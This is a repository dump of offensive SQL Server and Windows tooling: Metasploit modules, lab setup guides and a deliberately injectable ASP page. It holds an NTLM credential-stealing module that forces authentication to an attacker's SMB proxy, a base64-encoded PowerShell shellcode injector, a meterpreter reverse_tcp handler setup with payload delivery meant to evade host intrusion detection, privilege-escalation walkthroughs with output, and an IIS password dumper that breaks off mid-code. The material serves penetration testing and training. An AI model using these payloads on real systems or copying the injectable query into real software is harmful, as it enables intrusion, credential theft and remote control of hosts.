22 |
26 | <%
27 |
28 | 'Sample Database Connection Syntax for ASP and SQL Server.
29 | Dim oConn, oRs
30 | Dim qry, connectstr
31 | Dim db_name, db_username, db_userpassword
32 | Dim db_server
33 | Dim my_search
34 |
35 | ' update the db_server with your server and instance
36 | db_server = "mybox\server1"
37 | db_name = "AdventureWorks2008"
38 | db_username = "s1user"
39 | db_password = "s1password"
40 |
41 | 'setup database handler
42 | Set oConn = Server.CreateObject("ADODB.Connection")
43 | oConn.Open("Driver={SQL Server};Server=" & db_server & ";Database=" & db_name &";UID=" & db_username & ";PWD=" & db_password & ";Trusted_Connection=NO;")
44 |
45 | 'setup query
46 | qry = "SELECT LoginID,BusinessEntityID FROM HumanResources.Employee WHERE LoginID LIKE '%" & Request("search") & "%'"
47 |
48 | 'execute query
49 | Set oRS = oConn.Execute(qry)
50 |
51 | 'output status to user
52 | Response.Write "Search Results for: " & Request("search") & " "
53 |
54 | 'loop through and print results
55 | Do until oRs.EOF
56 | Response.Write "" & oRs.Fields("LoginID") & " "
57 | oRS.MoveNext
58 | Loop
59 | oRs.Close
60 |
61 |
62 | Set oRs = nothing
63 | Set oConn = nothing
64 |
65 | %>
66 |
67 |
68 |
--------------------------------------------------------------------------------
/mssql_linkcrawler_readme.txt:
--------------------------------------------------------------------------------
1 | Database Crawler Readme
2 |
3 | ---------------
4 | Features
5 | ---------------
6 | o Users can crawl Microsoft SQL database links with any valid database login.
7 | - It provides information about each link crawled
8 | - It identifies and handlers bad links
9 | - It prevents persistent crawl loops
10 |
11 | o Audit results are automatically saved in a CSV report and loot. It includes:
12 | - The login used to configure the database link
13 | - The login's privilege level
14 | - The SQL Server version
15 | - The OS version
16 | - The link status (alive or dead)
17 |
18 | o Users have the option to deliver metasploit payloads to linked servers where xp_cmdshell is enabled
19 | o Users have the option to deliver metasploit payloads to specific server's instead of all servers
20 | o Payloads are deployed using powershell thread injection for speed, and to avoid HIDS
21 | o Standard and verbose screen output options are available
22 | o Support 32 and 64 bit platforms by executing 32-bit powershell on 64 bit systems
23 |
24 | ---------------
25 | Runtime Notes
26 | ---------------
27 | Use this configuration for best results:
28 |
29 | Step #1 - Start a multi/handler
30 |
31 | use multi/handler
32 | set payload windows/meterpreter/reverse_tcp
33 | set lhost 0.0.0.0
34 | set lport 443
35 | set ExitOnSession false
36 | exploit -j -z
37 |
38 | Step #2 - Run the Module
39 |
40 | use exploit/windows/mssql/mssql_linkcrawler
41 | set password superpassword
42 | set username superadmin
43 | set rhost
44 | set payload windows/meterpreter/reverse_tcp
45 | set lhost
46 | set lport 443
47 | set DisablePayloadHandler true
48 | exploit
49 |
50 | ---------------
51 | Current Constraints
52 | ---------------
53 | o Cannot crawl through SQL Server 2000
54 | o Cannot enable xp_cmdshell through links
55 | o Cannot deliver payloads to systems without powershell (at the moment)
56 | o Currently, the module leaves a powershell process running on exit
--------------------------------------------------------------------------------
/http-default-creds-ice:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http://metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 |
8 | class Metasploit3 < Msf::Auxiliary
9 |
10 | include Msf::Auxiliary::Report
11 | include Msf::Exploit::Remote::HttpClient
12 | include Msf::Auxiliary::Scanner
13 |
14 | def initialize
15 | super(
16 | 'Name' => 'GE Security - Integrated Configuration Tool - Default Login',
17 | 'Description' => %q{
18 | This module attempts to login to a GE Security - Integrated Configuration
19 | Tool web application using the default username and password.
20 | Tested on version 124.00.01.
21 | },
22 | 'Author' => 'Scott Sutherland (@_nullbind)',
23 | 'License' => MSF_LICENSE
24 | )
25 |
26 | register_options(
27 | [
28 | Opt::RPORT(80),
29 | OptString.new('TARGETURI',
30 | [ true, "The base path.", '/cgi-bin/Dataframe.cgi' ]),
31 | ], self.class)
32 | end
33 |
34 |
35 | def run_host(ip)
36 |
37 | # Create HTTP request
38 | begin
39 | print_status("#{peer} - Testing default credentials - install/install")
40 | res = send_request_cgi({
41 | 'method' => 'GET',
42 | 'uri' => datastore['TARGETURI'],
43 | 'vars_get' => {
44 | 'userName' => 'ohurgjj',
45 | 'passWord' => 'ohurgjj',
46 | 'referring_page' => '0',
47 | 'html_version' => '124.00.01'
48 | }#,
49 | #'vars_post' => {
50 | # 'name' => name,
51 | # 'code' => encoded_value
52 | #},
53 | #'cookie' => {
54 | # 'operation' => 'COPY',
55 | #}
56 | })
57 |
58 |
59 | # Check server response for success
60 | res.inspect
61 | if (res and res.code == 200 and res.body.match(/Logon accepted/))
62 | print_good("#{peer} - Found default credentials - install/install")
63 | else
64 | print_error("#{peer} - No default credentials - install/install")
65 | end
66 |
67 |
68 | # Connection fail
69 | rescue Rex::ConnectionError
70 | print_error("#{peer} - Could not connect.")
71 | return
72 | end
73 | end
74 | end
75 |
--------------------------------------------------------------------------------
/mssql_enum_sql_logins_lab.txt:
--------------------------------------------------------------------------------
1 | SQL Server: Enumerating SQL Logins with a Low Privilege Login
2 | Lab setup guide
3 |
4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_enum_sql_logins.rb module.
5 |
6 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
7 |
8 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
9 |
10 | 3. Make sure to enable the tcp protocol so that module can connect to the listener.
11 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx
12 |
13 | 4. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
14 |
15 | 5. Press the "New Query" button and use the TSQL below to create five sql server logins.
16 |
17 | -- Create logins
18 | CREATE LOGIN MyAppUser1 WITH PASSWORD = 'MyPassword!';
19 | CREATE LOGIN MyAppUser2 WITH PASSWORD = 'MyPassword!';
20 | CREATE LOGIN MyAppUser3 WITH PASSWORD = 'MyPassword!';
21 | CREATE LOGIN MyAppUser4 WITH PASSWORD = 'MyPassword!';
22 | CREATE LOGIN MyAppUser5 WITH PASSWORD = 'MyPassword!';
23 |
24 | 4. Log into the SQL Server with the "MyAppUser1" account and attempt to view all users. You should only be able to view the "MyAppUser1" account and sa.
25 |
26 | -- List sql logins
27 | SELECT * FROM master..syslogins;
28 |
29 | 5. Test out the metasploit module to enumerate other sql server logins.
30 |
31 | use auxiliary/admin/mssql/mssql_enum_sql_logins
32 | msf auxiliary(mssql_enum_sql_logins) > set rhost
33 | msf auxiliary(mssql_enum_sql_logins) > set rport
34 | msf auxiliary(mssql_enum_sql_logins) > set username MyAppUser1
35 | msf auxiliary(mssql_enum_sql_logins) > set password MyPassword!
36 |
37 | msf auxiliary(mssql_enum_sql_logins) > run
38 |
39 | [*] Attempting to connect to the database server at 10.2.9.101:1433 as myappuser1...
40 | [+] Connected.
41 | [*] Checking if myappuser1 has the sysadmin role...
42 | [*] myappuser1 is NOT a sysadmin.
43 | [*] Setup to fuzz 300 SQL Server logins.
44 | [*] Enumerating logins...
45 | [+] 21 initial SQL Server logins were found.
46 | [*] Verifying the SQL Server logins...
47 | [+] 13 SQL Server logins were verified:
48 | [*] - ##MS_AgentSigningCertificate##
49 | [*] - ##MS_SQLAuthenticatorCertificate##
50 | [*] - ##MS_SQLReplicationSigningCertificate##
51 | [*] - ##MS_SQLResourceSigningCertificate##
52 | [*] - BUILTIN\Users
53 | [*] - BUILTIN\administrators
54 | [*] - MyAppUser1
55 | [*] - MyAppUser2
56 | [*] - MyAppUser3
57 | [*] - MyAppUser4
58 | [*] - MyAppUser5
59 | [*] - NT AUTHORITY\SYSTEM
60 | [*] - sa
61 | [*] Auxiliary module execution completed
62 |
63 |
--------------------------------------------------------------------------------
/mssql_escalate_executeas_lab_setup.txt:
--------------------------------------------------------------------------------
1 | SQL Server: Escalating privileges using EXCUTE AS
2 | Lab Setup Guide
3 |
4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_escalate_executeas module.
5 |
6 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
7 |
8 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
9 |
10 | 3. Make sure to enable the tcp protocol so that module can connect to the listener.
11 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx
12 |
13 | 4. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
14 |
15 | 5. Press the "New Query" button and use the TSQL below to create a new users for the lab.
16 |
17 | -- Create login 1
18 | CREATE LOGIN MyUser1 WITH PASSWORD = 'MyPassword!';
19 |
20 | -- Create login 2
21 | CREATE LOGIN MyUser2 WITH PASSWORD = 'MyPassword!';
22 |
23 | -- Create login 3
24 | CREATE LOGIN MyUser3 WITH PASSWORD = 'MyPassword!';
25 |
26 | 6. Provide the MyUser1 login with permissions to impersonate MyUser2, MyUser3, and sa.
27 | USE master;
28 | GRANT IMPERSONATE ON LOGIN::sa to [MyUser1];
29 | GRANT IMPERSONATE ON LOGIN::MyUser2 to [MyUser1];
30 | GRANT IMPERSONATE ON LOGIN::MyUser3 to [MyUser1];
31 | GO
32 |
33 | 7. Log into the SQL Server using the MyUser1 account.
34 |
35 | 8. Press the "New Query" button and use the TSQL below to confirm the permissions were added.
36 |
37 | SELECT b.name
38 | FROM sys.server_permissions a
39 | INNER JOIN sys.server_principals b
40 | ON a.grantor_principal_id = b.principal_id
41 | WHERE a.permission_name = 'IMPERSONATE'
42 |
43 | 9. Test out the impersonate in another query window with the TSQL below.
44 |
45 | select SYSTEM_USER
46 | select IS_SRVROLEMEMBER('sysadmin')
47 | execute as login = 'sa'
48 | select SYSTEM_USER
49 | select IS_SRVROLEMEMBER('sysadmin')
50 | revert
51 | select SYSTEM_USER
52 | select IS_SRVROLEMEMBER('sysadmin')
53 |
54 | 10. Test out the module.
55 |
56 | use auxiliary/admin/mssql/mssql_esclaate_executeas
57 | set rhosts
58 | set rport
59 | set username MyUser1
60 | set password MyPassword!
61 | run
62 |
63 | msf auxiliary(mssql_escalate_executeas) > run
64 |
65 | [*] Attempting to connect to the database server at 127.0.0.1:1171 as MyUser1...
66 | [+] Connected.
67 | [*] Checking if MyUser1 has the sysadmin role...
68 | [*] You're NOT a sysadmin, let's try to change that.
69 | [*] Enumerating a list of users that can be impersonated...
70 | [+] 3 users can be impersonated:
71 | [*] - sa
72 | [*] - MyUser2
73 | [*] - MyUser3
74 | [*] Checking if any of them are sysadmins...
75 | [+] - sa is a sysadmin!
76 | [*] Attempting to impersonate sa...
77 | [+] Congrats, MyUser1 is now a sysadmin!.
78 | [*] Auxiliary module execution completed
79 |
80 |
81 | msf auxiliary(mssql_escalate_executeas) > run
82 |
83 | [*] Attempting to connect to the database server at 127.0.0.1:1171 as MyUser1...
84 | [+] Connected.
85 | [*] Checking if MyUser1 has the sysadmin role...
86 | [+] MyUser1 has the sysadmin role, no escalation required.
87 | [*] Auxiliary module execution completed
88 | msf auxiliary(mssql_escalate_executeas) > run
89 |
--------------------------------------------------------------------------------
/mssql_ntlm_stealer.rb:
--------------------------------------------------------------------------------
1 | require 'msf/core'
2 |
3 |
4 | class Metasploit3 < Msf::Auxiliary
5 |
6 | include Msf::Exploit::Remote::MSSQL
7 | include Msf::Auxiliary::Scanner
8 | include Rex::Text
9 |
10 | def initialize(info = {})
11 | super(update_info(info,
12 | 'Name' => 'Microsoft SQL Server NTLM Stealer',
13 | 'Description' => %q{
14 |
15 | This module can be used to help capture or relay the LM/NTLM
16 | credentials of the account running the remote SQL Server service.
17 | The module will use the supplied credentials to connect to the
18 | target SQL Server instance and execute the native "xp_dirtree" or
19 | "xp_fileexist" stored procedure. The stored procedures will then
20 | force the service account to authenticate to the system defined in
21 | the SMBProxy option. In order for the attack to be successful, the
22 | SMB capture or relay module must be running on the system defined
23 | as the SMBProxy. The database account used to connect to the
24 | database should only require the "PUBLIC" role to execute.
25 | Successful execution of this attack usually results in local
26 | administrative access to the Windows system. Specifically, this
27 | works great for relaying credentials between two SQL Servers using
28 | a shared service account to get shells. However, if the relay fails,
29 | then the LM hash can be reversed using the Halflm rainbow tables and
30 | john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer
31 | for the inspiration.
32 | },
33 | 'Author' => [ 'Scott Sutherland [at] netspi [dot] com>' ],
34 | 'License' => MSF_LICENSE,
35 | 'Platform' => [ 'Windows' ],
36 | 'References' => [[ 'URL', 'http://www.netspi.com/blog/author/ssutherland/' ]],
37 | ))
38 |
39 | register_options(
40 | [
41 | OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
42 | ], self.class)
43 | end
44 |
45 | def run_host(ip)
46 |
47 | ## WARNING
48 | print_status("DONT FORGET to run a SMB capture or relay module!")
49 |
50 | ## SET DEFAULT RESULT (FAIL)
51 | result = 0
52 |
53 | ## CALL AUTH_FORCE METHODS TO EXECUTE "xp_dirtree" AND "xp_fileexist"
54 | result = force_auth("xp_dirtree",datastore['SMBPROXY'],rhost,rport)
55 |
56 | if result == 0 then
57 | result = force_auth("xp_fileexist",datastore['SMBPROXY'],rhost,rport)
58 | end
59 |
60 | ## DISPLAY THE STATUS TO THE USER
61 | if result == 1 then
62 | print_good("Attempt complete, go check your SMB relay or capture module for goodies!")
63 | else
64 | print_error("Module failed to initiate authentication to smbproxy.")
65 | end
66 | end
67 |
68 |
69 | ## --------------------------------------------
70 | ## METHOD TO FORCE SQL SERVER TO AUTHENTICATE
71 | ## --------------------------------------------
72 | def force_auth(sprocedure,smbproxy,vic,vicport)
73 |
74 | print_status("Forcing SQL Server at #{vic} to auth to #{smbproxy} via #{sprocedure}...")
75 |
76 | ## GENERATE RANDOM FILE NAME
77 | rand_filename = Rex::Text.rand_text_alpha(8, bad='')
78 |
79 | ## SETUP QUERY
80 | sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
81 |
82 | ## EXECUTE QUERY
83 | begin
84 | result = mssql_query(sql, false) if mssql_login_datastore
85 | column_data = result[:rows]
86 | print_good("Successfully executed #{sprocedure} on #{rhost}")
87 | return 1
88 | rescue
89 | print_error("Failed to connect to #{rhost} on port #{rport}")
90 | return 0
91 | end
92 | end
93 |
94 | end
95 |
--------------------------------------------------------------------------------
/enum_domain_user_sessions.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This file is part of the Metasploit Framework and may be subject to
3 | # redistribution and commercial restrictions. Please see the Metasploit
4 | # web site for more information on licensing and terms of use.
5 | # http://metasploit.com/
6 | ##
7 |
8 | require 'msf/core'
9 | require 'rex'
10 |
11 | class Metasploit3 < Msf::Post
12 |
13 | def initialize(info={})
14 | super( update_info( info,
15 | 'Name' => 'Windows Gather Domain User Sessions',
16 | 'Description' => %q{
17 | This module enumerates active domain user sessions.
18 | },
19 | 'License' => MSF_LICENSE,
20 | 'Author' => [ 'Scott Sutherland '],
21 | 'Platform' => [ 'windows' ],
22 | 'SessionTypes' => [ 'meterpreter' ]
23 | ))
24 |
25 | register_options(
26 | [
27 | OptString.new('DOMAIN', [false, 'Domain to target, default to computer\'s domain', '']),
28 | OptString.new('TYPE', [true, 'Search type: GROUPS or USERS', 'GROUPS']),
29 | OptString.new('GROUP', [false, 'Domain groups to search for.', 'Domain Admins, Forrest Admins, Enterprise Admins']),
30 | OptString.new('USER', [false, 'Domain users to search for.', '']),
31 | OptBool.new('LOOP', [false, 'Scan for sessions continuously', 'false']),
32 | ], self.class
33 | )
34 |
35 | end
36 |
37 | def run
38 |
39 | #Create an array to hold the list of domains
40 | #Create an array to hold the domain controller IP addresses
41 | #Create an array to hold the session information login,domain,ip,idle time,session time
42 | #Create an array to hold the group information login,domain
43 | #Create an array to hold final list domain, group, user, ip
44 |
45 | #Get current domain or set it from the option
46 | #Check if domain == computername, if so fail
47 |
48 | #Get a list of all of the domains in the forrest
49 | # adfind -sc domainlist
50 |
51 | #Get a list of trust for the current domain
52 | # adfind -sc trustdmp
53 |
54 | #Get a list of the domain controllers for the current domain
55 | # adfind -sc dclist
56 | # add to the domain controllers array
57 |
58 | #Get a list of the domain controllers for the trusted domains
59 | # adfind -b dc=trusted,dc=otherdomain,dc=domainname,dc=com -sc
60 | # add to the domain controllers array
61 |
62 | #For each domain controller grab the active sessions add to array
63 | #note: most of this code is based on mubix's enum_domains module
64 |
65 | buffersize = 1000
66 | #getsize = client.railgun.netapi32.NetSessionEnum(nil,nil,nil,10,4,buffersize,4,4,nil)
67 | #buffersize = getsize['bufptr']
68 |
69 | result = client.railgun.netapi32.NetSessionEnum(nil,nil,nil,10,4,buffersize,4,4,nil)
70 |
71 | count = result['totalentries']
72 | print_status("#{count} Sessions found.")
73 | startmem = result['bufptr']
74 |
75 | base = 0
76 | mysessions = []
77 | mem = client.railgun.memread(startmem, 8*count) #note: this dies if count= 0; at handling; http://msdn.microsoft.com/en-us/library/windows/desktop/bb525382(v=vs.85).aspx
78 | count.times{|i|
79 | x = {}
80 |
81 | # Grab returned
82 | client_ptr = mem[(base + 0),4].unpack("V*")[0]
83 | username_ptr = mem[(base + 4),4].unpack("V*")[0]
84 |
85 | # Parse returned data
86 | x[:client] = client.railgun.memread(client_ptr,255).split("\0\0")[0].split("\0").join
87 | x[:username] = client.railgun.memread(username_ptr,255).split("\0\0")[0].split("\0").join
88 |
89 | #Print session - only getting 2nd column
90 | print_status("client, username, active time, idle time")
91 | print_status("#{x[:client]}, #{x[:username]}")
92 |
93 | mysessions << x
94 | base = base + 8
95 | }
96 |
97 | end
98 | end
99 |
--------------------------------------------------------------------------------
/powershell_payload_gen.rb:
--------------------------------------------------------------------------------
1 | require 'msf/core'
2 |
3 | class Metasploit3 < Msf::Exploit::Remote
4 | Rank = GreatRanking
5 | include Msf::Auxiliary::Report
6 |
7 | def initialize(info = {})
8 | super(update_info(info,
9 | 'Name' => 'Encoded PowerShell Payload Generator',
10 | 'Description' => %q{This module will generate a text file that contains a
11 | base64 encoded PowerShell command that will execute the
12 | specified Metasploit payload.},
13 | 'Author' =>
14 | [
15 | 'Scott Sutherland "nullbind" ',
16 | ],
17 | 'Platform' => [ 'win' ],
18 | 'License' => MSF_LICENSE,
19 | 'References' => [['URL','http://www.exploit-monday.com/2011_10_16_archive.html']],
20 | 'Platform' => 'win',
21 | 'DisclosureDate' => 'Oct 10 2011',
22 | 'Targets' =>
23 | [
24 | [ 'Automatic', { } ],
25 | ],
26 | 'DefaultTarget' => 0
27 | ))
28 |
29 | register_options(
30 | [
31 | OptString.new('TARGET_ARCH', [true, '64,32', '64']),
32 | OptString.new('OUT_DIR', [true, 'output directory', '/']),
33 | ], self.class)
34 | end
35 |
36 | def exploit
37 |
38 | # Display status to users
39 | print_status("Generating encoded PowerShell payload...")
40 |
41 | # Generate powershell command
42 | ps_cmd = gen_ps_cmd
43 |
44 | # Define pseudo unique value for file name
45 | rand_val = rand_text_alpha(8)
46 |
47 | # Define file path
48 | thefilepath = datastore['OUT_DIR'] + "pscmd_" + rand_val + ".txt"
49 |
50 | # Output file to specified location
51 | File.open(thefilepath, 'wb') { |file| file.write(ps_cmd)}
52 |
53 | # Get file size
54 | output_file_size = File.size(thefilepath)
55 |
56 | # Display status to users
57 | print_good("#{output_file_size} bytes where written to #{thefilepath}")
58 | print_status("Module execution complete\n")
59 |
60 | end
61 |
62 | # ------------------------------
63 | # Generate powershell payload
64 | # ------------------------------
65 | def gen_ps_cmd()
66 | # Create powershell script that will inject shell code from the selected payload
67 | myscript ="$code = @\"
68 | [DllImport(\"kernel32.dll\")]
69 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
70 | [DllImport(\"kernel32.dll\")]
71 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
72 | [DllImport(\"msvcrt.dll\")]
73 | public static extern IntPtr memset(IntPtr dest, uint src, uint count);
74 | \"@
75 | $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru
76 | [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')}
77 | $size = 0x1000
78 | if ($sc.Length -gt 0x1000) {$size = $sc.Length}
79 | $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40)
80 | for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)}
81 | $winFunc::CreateThread(0,0,$x,0,0,0)"
82 |
83 | # Unicode encode the powershell script
84 | mytext_uni = Rex::Text.to_unicode(myscript)
85 |
86 | # Base64 encode the unicode encoded script
87 | mytext_64 = Rex::Text.encode_base64(mytext_uni)
88 |
89 | # Setup path for powershell based on architecture
90 | if datastore['TARGET_ARCH'] == "32" then
91 | mypath = ""
92 | else
93 | mypath="C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\"
94 | end
95 |
96 | # Create powershell command to be executed
97 | ps_cmd = "#{mypath}powershell.exe -noexit -noprofile -encodedCommand #{mytext_64}"
98 |
99 | return ps_cmd
100 | end
101 |
102 | end
103 |
--------------------------------------------------------------------------------
/mssql_escalate_dbowner_lab_guide.txt:
--------------------------------------------------------------------------------
1 | SQL Server: Escalating from db_Owner to sysadmin
2 | Lab setup guide
3 |
4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_escalate_dbowner module.
5 |
6 | 1. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
7 |
8 | 2. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
9 |
10 | 3. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
11 |
12 | 4. Press the "New Query" button and use the TSQL below to create a database named "MyAppDb" for the lab.
13 |
14 | -- Create database
15 | CREATE DATABASE MyAppDb
16 |
17 | -- Verify sa is the owner of the application database
18 | SELECT suser_sname(owner_sid)
19 | FROM sys.databases
20 | WHERE name = 'MyAppDb'
21 |
22 | 5. Press the "New Query" button and use the TSQL below to create a database user named "MyAppUser" for the lab. In the real world some DBAs create an account like this to allow applications to connect to the database server.
23 |
24 | -- Create login
25 | CREATE LOGIN MyAppUser WITH PASSWORD = 'MyPassword!';
26 |
27 | 6. Press the "New Query" button and use the TSQL below to assign "MyAppUser" the "db_owner" role in the "MyAppDb" database. In the real world a DBA might do this so that the application can access what it needs in its application database once logged in.
28 |
29 | -- Setup MyAppUsers the db_owner role in MyAppDb
30 | USE MyAppDb
31 | ALTER LOGIN [MyAppUser] with default_database = [MyAppDb];
32 | CREATE USER [MyAppUser] FROM LOGIN [MyAppUser];
33 | EXEC sp_addrolemember [db_owner], [MyAppUser];
34 |
35 | 7. Confirm the "MyAppUser" was added as db_owner.
36 |
37 | -- Verify the user was added as db_owner
38 | select rp.name as database_role, mp.name as database_user
39 | from sys.database_role_members drm
40 | join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
41 | join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
42 |
43 | 8. Set the "MyAppDb" database as trusted using the TSQL below. DBAs tend to do this when custom stored procedures access tables from other databases or when the custom stored procedures use native stored procedures that access external resources.
44 |
45 | -- Flag database as trusted
46 | ALTER DATABASE MyAppDb SET TRUSTWORTHY ON
47 |
48 | 9. The query below will return all of the databases in the SQL Server instance, and the "MyAppDb" and "MSDB" databases should be flagged as trustworthy.
49 |
50 | SELECT a.name,b.is_trustworthy_on
51 | FROM master..sysdatabases as a
52 | INNER JOIN sys.databases as b
53 | ON a.name=b.name;
54 |
55 | 10. Make sure to enable the tcp protocol so that module can connect to the listener.
56 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx
57 |
58 | 11. Test out the module.
59 |
60 | use auxiliary/admin/mssql/mssql_esclaate_dbowner
61 | set rhosts
62 | set rport
63 | set username MyAppUser
64 | set password MyPassword!
65 | run
66 |
67 | [*] Attempting to connect to the database server at 192.168.1.5 as MyAppUser...
68 | [+] Connected.
69 | [*] Checking if MyAppUser has the sysadmin role...
70 | [*] You're NOT a sysadmin, let's try to change that.
71 | [*] Checking for trusted databases owned by sysadmins...
72 | [+] 1 affected database(s) were found:
73 | [*] - MyAppDb
74 | [*] Checking if the user has the db_owner role in any of them...
75 | [+] - db_owner on MyAppDb found!
76 | [*] Attempting to escalate in MyAppDb...
77 | [+] Congrats, MyAppUser is now a sysadmin!.
78 | [*] Scanned 1 of 1 hosts (100% complete)
79 | [*] Auxiliary module execution completed
80 |
81 |
--------------------------------------------------------------------------------
/mssql_enum_windows_domain_accounts_lab.txt:
--------------------------------------------------------------------------------
1 | SQL Server: Enumerating Windows Domain Accounts Through SQL Server with a Low Privilege Login
2 | Lab setup guide
3 |
4 | Below I've provided some basic steps for setting up a SQL Server instance that can be used to replicate the scenario exploited by the mssql_enum_windows_domain_accounts.rb module.
5 |
6 | 1. Setup a Windows domain. Hopefully you already have a lab setup with a Windows domain/ADS. If not you can follow this guide to setup a DC:http://social.technet.microsoft.com/wiki/contents/articles/22622.building-your-first-domain-controller-on-2012-r2.aspx
7 |
8 | 2. Next, Add a server to the domain that can be used as the sql server. http://technet.microsoft.com/en-us/library/bb456990.aspx
9 |
10 | 3. Download the Microsoft SQL Server Express install that includes SQL Server Management Studio on the system just added to the domain. It can be download at http://msdn.microsoft.com/en-us/evalcenter/dn434042.aspx
11 |
12 | 4. Install SQL Server by following the wizard, but make sure to enabled mixed-mode authentication and run the service as LocalSystem for the sake of the lab.
13 |
14 | 5. Make sure to enable the tcp protocol so that module can connect to the listener.
15 | http://blogs.msdn.com/b/sqlexpress/archive/2005/05/05/415084.aspx
16 |
17 | 6. Log into the SQL Server with the "sa" account setup during installation using the SQL Server Management Studio application.
18 |
19 | 5. Press the "New Query" button and use the TSQL below to create a least privilege sql login. Then log out.
20 |
21 | -- Create logins
22 | CREATE LOGIN MyAppUser1 WITH PASSWORD = 'MyPassword!';
23 |
24 |
25 | 6. Test out the metasploit module to enumerate other sql server logins.
26 | Note: For the test set the fuzznum to 1000, but you would set it to 10000
27 | or above in a real environment.
28 |
29 | use auxiliary/admin/mssql/mssql_enum_windows_domain_accounts
30 | msf auxiliary(mssql_enum_windows_domain_accounts) > set rhost
31 | msf auxiliary(mssql_enum_windows_domain_accounts) > set rport
32 | msf auxiliary(mssql_enum_windows_domain_accounts) > set username MyAppUser1
33 | msf auxiliary(mssql_enum_windows_domain_accounts) > set password MyPassword!
34 | msf auxiliary(mssql_enum_windows_domain_accounts) > set fuzznum 1000
35 | msf auxiliary(mssql_enum_windows_domain_accounts) > run
36 |
37 | [*] Attempting to connect to the database server at 10.2.9.101:1433 as myappuser1...
38 | [+] Connected.
39 | [*] Checking if myappuser1 has the sysadmin role...
40 | [*] myappuser1 is NOT a sysadmin.
41 | [*] SQL Server Name: LVA
42 | [*] Domain Name: DEMO
43 | [+] Found the domain sid: 0105000000000005150000009cc30dd479441edeb31027d0
44 | [*] Brute forcing 1000 RIDs through the SQL Server, be patient...
45 | [*] - DEMO\administrator
46 | [*] - DEMO\Guest
47 | [*] - DEMO\krbtgt
48 | [*] - DEMO\Domain Admins
49 | [*] - DEMO\Domain Users
50 | [*] - DEMO\Domain Guests
51 | [*] - DEMO\Domain Computers
52 | [*] - DEMO\Domain Controllers
53 | [*] - DEMO\Cert Publishers
54 | [*] - DEMO\Schema Admins
55 | [*] - DEMO\Enterprise Admins
56 | [*] - DEMO\Group Policy Creator Owners
57 | [*] - DEMO\RAS and IAS Servers
58 | [*] - DEMO\HelpServicesGroup
59 | [+] 14 user, groups, and computer accounts were found.
60 | [*] Query results have been saved to: /root/.msf4/loot/20141117105424_default_10.2.9.101_windows_domain_a_592368.txt
61 | [*] Auxiliary module execution completed
62 | msf auxiliary(mssql_enum_windows_domain_accounts) >
63 |
64 | 7. Review output file
65 | cat /root/.msf4/loot/20141117105424_default_10.2.9.101_windows_domain_a_592368.txt
66 |
67 | name
68 | "DEMO\administrator"
69 | "DEMO\Guest"
70 | "DEMO\krbtgt"
71 | "DEMO\Domain Admins"
72 | "DEMO\Domain Users"
73 | "DEMO\Domain Guests"
74 | "DEMO\Domain Computers"
75 | "DEMO\Domain Controllers"
76 | "DEMO\Cert Publishers"
77 | "DEMO\Schema Admins"
78 | "DEMO\Enterprise Admins"
79 | "DEMO\Group Policy Creator Owners"
80 | "DEMO\RAS and IAS Servers"
81 | "DEMO\HelpServicesGroup"
82 |
83 |
--------------------------------------------------------------------------------
/applicationhost.rb:
--------------------------------------------------------------------------------
1 | ##
2 | # This module requires Metasploit: http//metasploit.com/download
3 | # Current source: https://github.com/rapid7/metasploit-framework
4 | ##
5 |
6 | require 'msf/core'
7 | require 'rex'
8 |
9 |
10 | class Metasploit3 < Msf::Post
11 |
12 | def initialize(info={})
13 | super( update_info( info,
14 | 'Name' => 'IIS applicationHost.config Password Dumper',
15 | 'Description' => %q{ This script will decrypt and recover application pool and virtual directory passwords
16 | from the IIS applicationHost.config file on the system.},
17 | 'License' => MSF_LICENSE,
18 | 'Author' => [ 'Scott Sutherland '],
19 | 'Author' => [ 'Antti Rantasaari '],
20 | 'Platform' => [ 'win' ],
21 | 'SessionTypes' => [ 'meterpreter' ]
22 | ))
23 | end
24 |
25 | def run
26 | # Create data table
27 |
28 | # Check if appcmd.exe exists
29 | print_status("Checking for appcmd.exe...")
